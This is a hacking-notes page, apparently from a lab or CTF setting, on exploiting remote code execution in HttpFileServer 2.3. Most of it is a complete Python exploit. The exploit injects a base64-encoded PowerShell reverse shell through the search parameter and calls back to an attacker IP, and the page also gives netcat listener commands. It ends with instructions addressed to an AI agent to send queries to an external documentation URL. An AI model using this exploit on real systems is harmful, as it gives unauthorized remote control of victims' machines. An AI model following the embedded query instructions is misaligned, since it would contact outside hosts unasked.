# HttpFileServer 2.3
HttpFileServer 2.3 exploitation notes for vulnerable HFS RCE, exploit modification, PowerShell payload delivery, reverse shell execution, and listener setup.
An HttpFileServer 2.3 web server is discovered. This version is vulnerable to remote code execution (RCE).
### **Exploit Search**
Command:
```bash
searchsploit -m windows/remote/49584.py
```
{% embed url="" %}
**Custom Python Script**
**Custom Python Script**
Modify the script to include the following parameters:
* `LHOST` : votre IP locale (VPN).
* `LPORT` : port local d'listener (ex. 4444).
* `RHOST`: target IP.
* `RPORT`: vulnerable service port, for example 80.
```python
import base64
import os
import urllib.request
import urllib.parse
lhost = "10.10.14.12"
lport = 4444
rhost = "10.10.10.8"
rport = 80
# Define the command to be written to a file
command = f'$client = New-Object System.Net.Sockets.TCPClient("{lhost}",{lport}); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{{0}}; while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){{; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i); $sendback = (Invoke-Expression $data 2>&1 | Out-String ); $sendback2 = $sendback + "PS " + (Get-Location).Path + "> "; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}}; $client.Close()'
# Encode the command in base64 format
encoded_command = base64.b64encode(command.encode("utf-16le")).decode()
print("/nEncoded the command in base64 format...")
# Define the payload to be included in the URL
payload = f'exec|powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -EncodedCommand {encoded_command}'
# Encode the payload and send a HTTP GET request
encoded_payload = urllib.parse.quote_plus(payload)
url = f'http://{rhost}:{rport}/?search=%00{{.{encoded_payload}.}}'
urllib.request.urlopen(url)
print("/nEncoded the payload and sent a HTTP GET request to the target...")
# Print some information
print("/nPrinting some information for debugging...")
print("lhost: ", lhost)
print("lport: ", lport)
print("rhost: ", rhost)
print("rport: ", rport)
print("payload: ", payload)
# Listen for connections
print("/nListening for connection...")
os.system(f'nc -nlvp {lport}')
```
Set your machine as a listener:
```bash
rlwrap nc -nlvp 4444
```

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/cms/httpfileserver-2.3-cms-exploitation.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
